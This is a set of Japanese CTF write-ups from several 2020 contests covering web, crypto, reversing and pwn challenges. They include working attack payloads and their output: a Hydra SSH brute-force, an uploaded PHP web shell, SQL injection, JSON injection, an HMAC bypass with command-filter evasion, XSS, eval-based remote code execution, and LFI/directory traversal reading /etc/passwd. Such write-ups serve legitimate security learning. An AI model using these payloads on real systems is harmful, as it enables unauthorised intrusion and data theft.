#kksctf open 2020: Write up
Web
Lynx
ふつうにアクセスすると
You are not lynx, access denied
といわれる。
Lynxがなにか調べてみるとブラウザっぽいのでUser-Agentを偽装すればアクセスできそう。
User-Agent: Lynx/2.8.5rel.1 libwww-FM/2.15FC SSL-MM/1.4.1c OpenSSL/0.9.7e-dev
を指定してアクセスすると
<!DOCTYPE html> <html> <head> <title>Code panel</title> <script type="text/javascript" src="code.js"></script> </head> <body> <center> WELCOME </strong> </br> </br> </br> <p>Let's defend our friend - Lynx - from robots!</p> </br> </br> </br> </br> </br> </br> </br> <footer> <center>(C) BluePeace, 2053</center> </footer> </body>
robots.txt
になんかありそうなので/robots.txt
にアクセスすると
User-agent: * Disallow: /a4d81e99fda29123aee9d4bb
/a4d81e99fda29123aee9d4bb
にアクセスするとflagがでてくる。
flag: kks{s0m3_CLI_br0ws3rs_4r3_us3ful}
ハッキングコンテストin京都スマートシティエキスポ2020: Write up
- 0 decode(Very Easy)
- 1-1 FTP(Very Easy)
- 1-2 SSH avoidance(Very Easy)
- 2-1 basic authentication(Easy)
- 6-1 exploration(Very Easy)
- 7-1 hidden flag(Very Easy)
- 6-2 authentication avoidance(Easy)
- 4-1 breakthrough(Easy)
- 6-3 clairvoyance(Medium)
- 5-1 Discovery key(Easy)
0 decode(Very Easy)
$ echo -n 'RkxBR19reW90b3NtYXJ0Y2l0eWV4cG8=' | base64 -d FLAG_kyotosmartcityexpo
1-1 FTP(Very Easy)
1-2 SSH avoidance(Very Easy)
hydra -L user.txt -P password.txt 54.150.39.201 -s 52222 ssh 255 ⨯ Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-11 21:14:51 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:100/p:100), ~625 tries per task [DATA] attacking ssh://54.150.39.201:52222/ [52222][ssh] host: 54.150.39.201 login: admin password: password
$ ssh admin@54.150.39.201 -p 52222 255 ⨯ The authenticity of host '[54.150.39.201]:52222 ([54.150.39.201]:52222)' can't be established. ECDSA key fingerprint is SHA256:K7NbGooE0P1B3L7BaC/or41slf4l+P8sfJSR71TtqIc. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[54.150.39.201]:52222' (ECDSA) to the list of known hosts. admin@54.150.39.201's password: Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-1030-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Dec 12 02:09:52 2020 from 115.124.149.87 admin@58d2aec14ceb:~$ ls flag.txt q6 admin@58d2aec14ceb:~$ cat flag.txt FLAG_jbSSTdXTLCc4aadmin@58d2aec14ceb:~$
2-1 basic authentication(Easy)
6-1 exploration(Very Easy)
$ strings q6_backend_1.1 authUT dmVyc2lvbjoxLjEsbmFtZTphZG1pbixwYXNzd29yZDpGTEFHX2UwclBGR0dlNkhha3Y= contents.phpUT "ip4h {Y`SL 6yAx Cj>Ks6 wIvS t#Yt authUT contents.phpUT (base) 13:18 ~/Downloads $ echo -n 'dmVyc2lvbjoxLjEsbmFtZTphZG1pbixwYXNzd29yZDpGTEFHX2UwclBGR0dlNkhha3Y=' | base64 - d version:1.1,name:admin,password:FLAG_e0rPFGGe6Hakv
7-1 hidden flag(Very Easy)
flag: FLAG_iZAPDhs3T2iYS
6-2 authentication avoidance(Easy)
username='+OR+1=1--&password=
flag: FLAG_RqWGsVKFAQMUn
4-1 breakthrough(Easy)
ログイン画面があって6文字以上のパスワードを求められる。ソースコードをみると
パスワードは1234
なので足りない分を%00
で補うとログインできる。
username=user1&password=1234%00%00
flag: FLAG_ajiofeijljkjsdklajie
6-3 clairvoyance(Medium)
うまく更新ファイルをアップロードすれば任意のコード実行できそうだとわかる。
適当なファイルをアップロードしてもZIPの形式、またはパスワードが違います
と怒られるので既存のバージョン1.1
の更新ファイルを参考にExploitできるファイルをつくる。
1.1.zipの中にあるcontents.php
に<?php echo shell_exec($_GET['p']);?>
を追加して圧縮、アップロードする。
$ zip -rm 1.2.zip auth contents.php adding: auth (stored 0%) adding: contents.php (deflated 43%)
http://18.177.208.49/tmp/72386217aab504b7e38ee7c28415f2e1a9717101982109dec8.php?p=cat%20flag.php
でflag.php
ファイルを参照しようとするが
root奪取しないといけないのかと一瞬焦ったがソースコードみたらFLAGがあった。
flag: FLAG_ZaKKC00Wn9nis
5-1 Discovery key(Easy)
apk
ファイルはよくわからないのでapktool
つかって適当にデコードしたらAndroidManifest.xml
にFLAGがあった。
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.example.getcoupon" platformBuildVersionCode="30" platformBuildVersionName="11"> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.GetCoupon" android:usesCleartextTraffic="true"> <meta-data android:name="com.google.android.maps.v2.API_KEY" android:value="FLAG_2NHxcrKRph73j"/> <activity android:name="com.example.getcoupon.GetCouponActivity"/> <activity android:name="com.example.getcoupon.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application> </manifest>
boot2root 2020: Write up
Web
Dr Jason
const express = require('express'); const bodyParser = require('body-parser'); var cors = require('cors'); require('dotenv').config(); const app = express(); app.use(bodyParser.json({extended: false})); app.use(cors()); app.post('/flag',async (req,res)=>{ if (!req.body.name || typeof req.body.name !== 'string') { res.status(400).json({success: false, error: 'Invalid token'}); res.end(); return; } const name = req.body.name; var token = `{"admin":0,"name":"${name}"}` try{ token = JSON.parse(token); } catch{ res.json({success: false, error: 'Invalid token'}); res.end(); return; } if(token.admin === 1){ res.json({success: true, flag: process.env.FLAG}) } else{ res.json({success: false, error: 'You are not admin'}); } }) app.listen(3000)
POSTしてリクエストのbodyをname変数に代入して{"admin":0,"name":"${name}"}
に埋め込んでます。admin=1
であればflagがでてくる。
aaa","admin":1,"aa":"aa
をnameに代入するといい感じにadmin=1
になる。
POST /flag HTTP/1.1 Host: 67.205.134.115:46910 User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Accept: */* Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://67.205.134.115:46911/ Content-Type: application/json Origin: http://67.205.134.115:46911 Content-Length: 40 Connection: close {"name":"aaa\",\"admin\":1,\"aa\":\"aa"}
{"success":true,"flag":"b00t2root{js0n_1nj3ct10n}"}
flag: b00t2root{js0n_1nj3ct10n}
Buggy PHP
<?php require('req.php'); ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); show_source("index.php"); if (empty($_GET['hash']) || empty($_GET['cmd']) || empty($_GET['tmp'])){ exit; } $key = getenv('KEY'); if(isset($_GET['tmp'])) $key = hash_hmac('sha256',$_GET['tmp'],$key); $hash = hash_hmac('sha256',$_GET['cmd'],$key); if ($hash !== $_GET['hash']) { echo "NO flag for you"; exit; } $cmd = preg_replace($filter, '', $_GET['cmd']); echo exec("cmd ".$cmd); ?>
hash_hmac関数になんかしら脆弱な仕様あったらいいなと思って調べたらでてきた。
これを参考にtmpパラメータに配列を渡すことによってkeyなしでハッシュ化してるのとおなじになる。つまり、OSコマンド実行したいコマンドをcmdパラメータに設定してそれをハッシュ化かしたものをhashパラメータに与えれば今回のHMACをbypassできる。
$ php index.php 83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395
http://165.22.179.69/?hash=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&tmp[]=&cmd=;dir
Warning: hash_hmac() expects parameter 2 to be string, array given in /var/www/html/index.php on line 14 index.php req.php
http://165.22.179.69/?hash=73151c410bd57749e919171f0480a238d3137148b7f589f8db2975474860231c&tmp[]=&cmd=;echo%20%27cat%20req.php%27
で確認すると
Warning: hash_hmac() expects parameter 2 to be string, array given in /var/www/html/index.php on line 14 req.
上記のようにechoを利用してfilterされてる文字列を確認していきbypassするように文字列を組み合わせると;ccatat req.p?p|babase64se64
でreq.php
の中身をbase64でエンコードした結果が得られる。
$ echo -n 'YjAwdDJyb290e0J1OTl5X3BIcF9DaDRsbDNuOTNzfSc7Cj8' | base64 -d b00t2root{Bu99y_pHp_Ch4ll3n93s}';
flag: b00t2root{Bu99y_pHp_Ch4ll3n93s}
taskCTF: Write up
Web
Caesar Cipher Translator
"><script>alert("TEST");</script>
と入力すると
"><fpevcg>nyreg("vawrpgrq");</fpevcg>
<script>
タグ使わない方法ということで
"><img src=1 onerror='alert("injected")'/>
flag: taskctf{n1ce_inject10n!}
Evil Eval
<?php $result = ""; if (isset($_GET['data'])) { $data = $_GET['data']; $raw = base64_decode($data); eval('$result = ' . $raw . ';'); } ?> <html> <head> <meta charset="utf-8"> <title>result</title> </head> <body> <h1>結果</h1> <p><?= $result ?></p> </body> </html>
$ echo -n 'system("ls");' | base64 c3lzdGVtKCJscyIpOw== $ echo -n 'system("cat flag.txt");' | base64 c3lzdGVtKCJjYXQgZmxhZy50eHQiKTs=
flag: taskctf{eval_1s_b4d_h4bit}
Gacha
func gachaHandler(w http.ResponseWriter, r *http.Request) { seed := r.FormValue("seed") if len(seed) == 0 { seed = "1" } seedInt, err := strconv.Atoi(seed) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } // get current time(HHmmss) jst := time.FixedZone("Asia/Tokyo", 9*60*60) nowStr := time.Now().In(jst).Format("150405") log.Println(nowStr) nowInt, err := strconv.Atoi(nowStr) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } sm := (seedInt + nowInt) % 100000 log.Println(sm) var flag map[string]string if sm == 1337 { flag = map[string]string{ "flag": "taskctf{this_is_dummy_flag}", } }
与えられたファイルを読むと(seedInt + nowInt) % 100000
が1337になればflagが出てくる。
またseeed値はユーザが勝手に設定できるっぽい。
適当にスクリプト書いて総当りしてたらflag出てきた。
import requests url = "http://34.82.49.144:3334/?seed=" for i in range(177770,10000000): tmp = url + str(i) print("url: ",tmp) res = requests.get(url=tmp) print(res.text)
{"flag":"You might not have a luck...","sum":"1329"} url: http://34.82.49.144:3334/?seed=177785 {"flag":"You might not have a luck...","sum":"1330"} url: http://34.82.49.144:3334/?seed=177786 {"flag":"You might not have a luck...","sum":"1332"} url: http://34.82.49.144:3334/?seed=177787 {"flag":"You might not have a luck...","sum":"1333"} url: http://34.82.49.144:3334/?seed=177788 {"flag":"You might not have a luck...","sum":"1334"} url: http://34.82.49.144:3334/?seed=177789 {"flag":"You might not have a luck...","sum":"1335"} url: http://34.82.49.144:3334/?seed=177790 {"flag":"taskctf{Y0u_h4ve_4_gre4t_luck}"}
flag: taskctf{Y0u_h4ve_4_gre4t_luck}
Shakti CTF: Write up
Web
AuthEN
ソースコードをみると
<script> $(“.c_submit”).click(function(event) { event.preventDefault() var email = $(“#cuser”).val(); var password = $(“#cpass”).val(); if(username == “admin” && password == String.fromCharCode(115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125)) { if(document.location.href.indexOf(“?password=”) == -1) { document.location = document.location.href + “?password=” + password; } } else { $(“#cresponse”).html(“<div class=’alert alert-danger’>Wrong password sorry.</div>”); } }) </script>
と書かれているので
115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125
を変換すればいいことがわかる。
>>> str="115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125" >>> str_list = str.split(", ") >>> flag = '' >>> for i in str_list: ... flag += chr(int(i)) ... >>> flag 'shaktictf{b3y0nd_pur3_c4lculati0ns}'
Machine
http://34.72.245.53/Web/Machine/robots.txt
にアクセスすると
User-agent: * Allow: /var/www/html/ Disallow: /mkiujnbhytgbvfr.html
と出てくるので
http://34.72.245.53/Web/Machine/mkiujnbhytgbvfr.html
にアクセスするだけ。
Biscuits
httpリクエストのクッキーを見るだけ。
Ador
ソースコードをみると
<!-- try the parameter `name` user -->
といわれてるので
http://104.198.67.251/Ador/?name=admin
にアクセスすると
Doors
<!-- ?page -->
って書いてあったので適当にパラメータに値を渡したら入力をそのまま出力していたのでXSSで南下するのかと思ったら単純に/etc/passwd
を渡したらLFIの脆弱性があってそのままflagが出てきました。
http://35.225.9.113/Doors/?page=/etc/passwd
PharAway
flag1
http://34.72.245.53/Web/PHPhar/?secret=1337aaaaaaaaa
flag1はAn4ly71c4l_
flag2
sha1を衝突させる必要があるので
これを参考にpython3用にスクリプトを書き換える。
import requests import urllib rotimi = urllib.request.urlopen(url="http://shattered.io/static/shattered-1.pdf").read()[:500]; letmein = urllib.request.urlopen(url="http://shattered.io/static/shattered-2.pdf").read()[:500]; r = requests.get('http://34.72.245.53/Web/PHPhar/', params={'secret': '1337aaaaaaaaa','a': rotimi, 'b': letmein}); print(r.text)
flag2はEng1n3
flag3
if (!isset($_GET["md4"])) { die(); } if ($_GET["md4"] == hash("md4", $_GET["md4"])) { echo "<h1>".$flag[3]."</h1>"; } else { echo "bad"; }
を参考にする。
<?php $n = 0; while (1) { $s = "0e$n"; //echo "$s\n"; $h = hash("md4",$s); if ($s == $h) break; $n++; } echo "$s : $h\n";
$ php solve.php 0e251288019 : 0e874956163641961271069404332409
flag3は!=D1ff3r3nc3
flag4
if (isset($_GET['abc'])){
if (!strcasecmp ($_GET['abc'], $flag[4])){
echo $flag[4];}}
を参考にする
http://34.72.245.53/Web/PHPhar/?secret=1337aaaaaaaaa&abc[]=0&md4:embed:cite
flag4はbad_Eng1n3}
よって、flagはshaktictf{An4ly71c4l_Eng1n3!=D1ff3r3nc3_Eng1n3}
Cryptography
3,2,1..Go
enigmaで復号できることがわかる。
このサイトで復号する
よってflagはshaktictf{you_have_cracked_the_enigma_genius}
Easy Encoding
与えられた数字が2進数なので変換する。
$ echo -n 'NzM2ODYxNmI3NDY5NjM3NDY2N2I1NzM0NzI2ZDU1NzA1ZjQzNjgzNDZjNmMzMzZlNjczMzdk' | base64 -d 7368616b74696374667b5734726d55705f4368346c6c336e67337d
今度はハッシュ値っぽいので
flagがでてきた。
Ancient Warfare
ただのROT13
Reversing
Just-Run-It!
$ strings run /lib64/ld-linux-x86-64.so.2 libc.so.6 printf __cxa_finalize __libc_start_main GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable AWAVI AUATL []A\A]A^A_ Here's your flag! : shaktictf{and_that's_how_you_run_a_linux_binary!} ;*3$" GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.7698 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry run.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable _edata printf@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment
PYthn
もとのスクリプトが
Z=[] k=[] Q="K78m)hm=|cwsXhbH}uq5w4sJbPrw6" def Fun(inp): st=[] for i in range (len(inp)): st.append(chr(ord(inp[i])^1)) return(''.join(st)) def FuN(inp): for i in range(len(inp)): if(i<11): Z.append(chr(ord(inp[i])+i+5)) else: Z.append(chr(ord(inp[i])+4)) return(''.join(Z)) def fuN(text,s): result = "" for i in range(len(text)): char = text[i] if(char.isnumeric()): result+=(chr(ord(char)-1)) elif(char.isupper()): result += chr((ord(char) + s-65) % 26 + 65) else: result+=(chr(ord(char)^1)) return result X=input("Enter input:") k=FuN(Fun(X)) if(Q!=k): print("NO") else: print("Flag: shaktictf{"+X+"}")
なので
def Fun_reverse(inp): st=[] for i in range (len(inp)): st.append(chr(ord(inp[i])^1)) return(''.join(st)) def FuN_reverse(inp): for i in range(len(inp)): if(i<11): Z.append(chr(ord(inp[i])-i-5)) else: Z.append(chr(ord(inp[i])-4)) return(''.join(Z)) flag = Fun_reverse(FuN_reverse(Q)) print(flag)
を追加する。
$ python3 PYthn.py G00d!_c0nTinUe_Expl0r1nG_Mor3
Damez
$ strings damez /lib64/ld-linux-x86-64.so.2 -'o libc.so.6 exit fopen puts __stack_chk_fail printf strlen __isoc99_fscanf fclose __cxa_finalize strcmp __libc_start_main GLIBC_2.4 GLIBC_2.2.5 GLIBC_2.7 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u+UH $u1H []A\A]A^A_ input.txt Error! file input.txt not found shaktictf{K33p_th3_gam3_g0ing_gurl!} You got it! Flag: %s Try Again! :) :*3$" GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.8060 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry damez.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable __isoc99_fscanf@@GLIBC_2.7 puts@@GLIBC_2.2.5 _edata fclose@@GLIBC_2.2.5 strlen@@GLIBC_2.2.5 __stack_chk_fail@@GLIBC_2.4 printf@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 __data_start strcmp@@GLIBC_2.2.5 __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main fopen@@GLIBC_2.2.5 exit@@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment
Forensics
Shark on Wire
Not That Easy
画像っぽいので取り出してみると
QRコードが出てきました。
このサイトで読み取ってみると
Pwn
Connect
$ nc 34.72.218.129 1111 You have successfully connected to our service! To get your flag, please enter the appropriate bash commands. cat flag.txt shaktictf{w3lc0me_t0_th3_ar3na_c0mrade}
WaniCTF 2020: Write up
Web
DevTools_1
ソースコード見るだけ。
DevTools_2
問題文の通りにここを書き換えるだけ
Simple Memo
../
を1回replaceされるだけなので....//
とすることでbypassできる
問題文にある通りディレクトリトラバーサルの脆弱性があるのでhttps://simple.wanictf.org/index.php?file=....//....//....//....//....//var/www/html/flag.txt
にアクセスするとflagが取れる。
striped table
適当にやったらxss発火した
SQL Challenge 1
https://sql1.wanictf.org/index.php?year=(1)or(1)=(1)
NACTF: Write up
Web
Missing Image
ソースコードに<img src="http://challenges.nactf.com/flag.png" alt="">
と書かれてるがこれはアクセスできない。
https://hidden.challenges.nactf.com/flag.png
に変えてアクセスするとflagが出てくる。
Login
適当にSQLインジェクションっぽい文字列打ってたらflag出てきて謎
flag: nactf{sQllllllll_1m5qpr8x}
Calculator
POST /index.php HTTP/1.1 Host: calculator.challenges.nactf.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 36 Origin: https://calculator.challenges.nactf.com Connection: close Referer: https://calculator.challenges.nactf.com/index.php Upgrade-Insecure-Requests: 1 input=system("cat+index.php|base64")
HTTP/1.1 200 OK Content-Length: 2157 Content-Type: text/html; charset=UTF-8 Date: Sun, 01 Nov 2020 04:56:05 GMT Server: Apache/2.4.38 (Debian) Vary: Accept-Encoding X-Powered-By: PHP/7.4.12 Connection: close <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <!-- Compiled and minified CSS --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> <title>Calculator</title> </head> <body class="black"> <h1 class="center red-text" style="padding-bottom: 75px">The Best and Most Secure Calculator Ever</h1> <div class="container"> PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0 PSJVVEYtOCI+CiAgICA8IS0tIENvbXBpbGVkIGFuZCBtaW5pZmllZCBDU1MgLS0+CiAgICA8bGlu ayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWph eC9saWJzL21hdGVyaWFsaXplLzEuMC4wL2Nzcy9tYXRlcmlhbGl6ZS5taW4uY3NzIj4KCiAgICA8 dGl0bGU+Q2FsY3VsYXRvcjwvdGl0bGU+CjwvaGVhZD4KPGJvZHkgY2xhc3M9ImJsYWNrIj4KPGgx IGNsYXNzPSJjZW50ZXIgcmVkLXRleHQiIHN0eWxlPSJwYWRkaW5nLWJvdHRvbTogNzVweCI+VGhl IEJlc3QgYW5kIE1vc3QgU2VjdXJlIENhbGN1bGF0b3IgRXZlcjwvaDE+CjxkaXYgY2xhc3M9ImNv bnRhaW5lciI+CiAgICA8P3BocAogICAgJGZsYWcgPSAibmFjdGZ7ZXYxbF9ldmFsfSI7CiAgICBp ZiAoaXNzZXQoJF9QT1NUWyJpbnB1dCJdKSkgewogICAgICAgICRpbnB1dCA9ICRfUE9TVFsiaW5w dXQiXTsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjZW50ZXIgd2hpdGUtdGV4dCIgc3R5bGU9 InBhZGRpbmctYm90dG9tOiA1MHB4Ij48aDM+JyAuICRpbnB1dCAuICIgPSAiIC4gZXZhbCgicmV0 dXJuICgkaW5wdXQpOyIpIC4gJzwvaDM+PC9kaXY+JzsKICAgIH0KICAgID8+CiAgICA8Zm9ybSBh Y3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1 dC1maWVsZCI+CiAgICAgICAgICAgIDxpbnB1dCBwbGFjZWhvbGRlcj0iVHlwZSBhbnkgZXhwcmVz c2lvbiEiIG5hbWU9ImlucHV0IiB0eXBlPSJ0ZXh0IiBjbGFzcz0id2hpdGUtdGV4dCI+CiAgICAg ICAgPC9kaXY+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xh c3M9ImJ0biI+CiAgICA8L2Zvcm0+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4= <div class="center white-text" style="padding-bottom: 50px"><h3>system("cat index.php|base64") = c3M9ImJ0biI+CiAgICA8L2Zvcm0+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4=</h3></div> <form action="index.php" method="post"> <div class="input-field"> <input placeholder="Type any expression!" name="input" type="text" class="white-text"> </div> <input type="submit" value="Submit" class="btn"> </form> </div> </body> </html>
$ echo -n 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0 PSJVVEYtOCI+CiAgICA8IS0tIENvbXBpbGVkIGFuZCBtaW5pZmllZCBDU1MgLS0+CiAgICA8bGlu ayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWph eC9saWJzL21hdGVyaWFsaXplLzEuMC4wL2Nzcy9tYXRlcmlhbGl6ZS5taW4uY3NzIj4KCiAgICA8 dGl0bGU+Q2FsY3VsYXRvcjwvdGl0bGU+CjwvaGVhZD4KPGJvZHkgY2xhc3M9ImJsYWNrIj4KPGgx IGNsYXNzPSJjZW50ZXIgcmVkLXRleHQiIHN0eWxlPSJwYWRkaW5nLWJvdHRvbTogNzVweCI+VGhl IEJlc3QgYW5kIE1vc3QgU2VjdXJlIENhbGN1bGF0b3IgRXZlcjwvaDE+CjxkaXYgY2xhc3M9ImNv bnRhaW5lciI+CiAgICA8P3BocAogICAgJGZsYWcgPSAibmFjdGZ7ZXYxbF9ldmFsfSI7CiAgICBp ZiAoaXNzZXQoJF9QT1NUWyJpbnB1dCJdKSkgewogICAgICAgICRpbnB1dCA9ICRfUE9TVFsiaW5w dXQiXTsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjZW50ZXIgd2hpdGUtdGV4dCIgc3R5bGU9 InBhZGRpbmctYm90dG9tOiA1MHB4Ij48aDM+JyAuICRpbnB1dCAuICIgPSAiIC4gZXZhbCgicmV0 dXJuICgkaW5wdXQpOyIpIC4gJzwvaDM+PC9kaXY+JzsKICAgIH0KICAgID8+CiAgICA8Zm9ybSBh Y3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1 dC1maWVsZCI+CiAgICAgICAgICAgIDxpbnB1dCBwbGFjZWhvbGRlcj0iVHlwZSBhbnkgZXhwcmVz c2lvbiEiIG5hbWU9ImlucHV0IiB0eXBlPSJ0ZXh0IiBjbGFzcz0id2hpdGUtdGV4dCI+CiAgICAg ICAgPC9kaXY+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xh c3M9ImJ0biI+CiAgICA8L2Zvcm0+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4=' | base64 -d <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <!-- Compiled and minified CSS --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> <title>Calculator</title> </head> <body class="black"> <h1 class="center red-text" style="padding-bottom: 75px">The Best and Most Secure Calculator Ever</h1> <div class="container"> <?php $flag = "nactf{ev1l_eval}"; if (isset($_POST["input"])) { $input = $_POST["input"]; echo '<div class="center white-text" style="padding-bottom: 50px"><h3>' . $input . " = " . eval("return ($input);") . '</h3></div>'; } ?> <form action="index.php" method="post"> <div class="input-field"> <input placeholder="Type any expression!" name="input" type="text" class="white-text"> </div> <input type="submit" value="Submit" class="btn"> </form> </div> </body> </html>
Cookie Recipe
index.php
にアクセスするとCookieが返ってきてることにきづく
HTTP/1.1 200 OK Date: Sun, 01 Nov 2020 05:02:13 GMT Server: Apache X-Powered-By: PHP/7.3.23 Set-Cookie: user=cookie_lover; expires=Sun, 01-Nov-2020 05:02:14 GMT; Max-Age=1; path=/index.php Vary: Accept-Encoding Content-Length: 954 Content-Type: text/html; charset=UTF-8 Connection: close <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Cookie Recipe</title> <!-- Compiled and minified CSS --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> <!--Import Google Icon Font--> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> </head> <body> <div class="section container"> <h3>Login to see the family recipe!</h3> <form action="auth.php" method="post"> <div class="input-field"> <input placeholder="Username" name="username" type="text"> </div> <div class="input-field"> <input placeholder="Password" name="password" type="text"> </div> <input type="submit" name="submit" value="submit" class="btn"> </form> </div> <img src="cookies.jpg" alt="" class="center" style="max-width: 100%; height: auto;"> </body> </html>
そのCookieをつけてauth.php
にアクセスするだけ。
Forms
フロント側でJavaScriptつかって解く問題かと思ったらソースコードの最後に
<script type="text/javascript"> function verify() { user = document.getElementById("username").value; pass = document.getElementById("password").value; if (user === "admin" && pass === "password123") { document.getElementById("submit").value = "correct_login"; } else { document.getElementById("submit").value = "false"; } document.form.submit(); } </script>
と書いてあってusername=admin&password=password123&submit=correct_login
でPOSTするだけということがわかる。
<div class="container" style="padding-top: 100px"> <div class="card-panel blue lighten-2 center"> <h3> Successful Login! </h3> <h5> Flag: nactf{cl13n75_ar3_3v11} </h5> </div> </div>